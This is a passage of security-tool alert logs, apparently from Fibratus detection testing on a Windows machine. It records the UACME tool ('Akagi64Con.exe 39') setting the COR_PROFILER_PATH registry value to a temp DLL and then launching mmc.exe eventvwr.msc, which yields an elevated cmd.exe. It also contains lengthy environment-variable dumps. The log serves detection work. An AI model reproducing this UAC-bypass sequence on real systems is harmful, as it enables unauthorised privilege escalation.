Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 73430 + Pid: 4688 + Tid: 15880 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:31:06.8660317 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 56f3b000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080035e4080, name➜ cmd.exe, pid➜ 12700, ppid➜ 4688, real_ppid➜ 4688, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:31:06.8659788 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528 + + Pid: 4688 + Ppid: 11456 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:31:20+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 74286 + Pid: 1940 + Tid: 17744 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:31:19.8191471 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 1940 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 74734 + Pid: 8240 + Tid: 14964 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:31:20.4685232 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 3dbcab000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff8080043c9080, name➜ cmd.exe, pid➜ 1972, ppid➜ 8240, real_ppid➜ 8240, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:31:20.4684717 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack + + Pid: 8240 + Ppid: 1940 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:31:26+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 75217 + Pid: 15636 + Tid: 13588 + Type: RegSetValue + CPU: 4 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:31:25.4057349 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb387b28a1ba0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 15636 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 75670 + Pid: 7904 + Tid: 11128 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:31:26.0465373 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 15a55c000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ 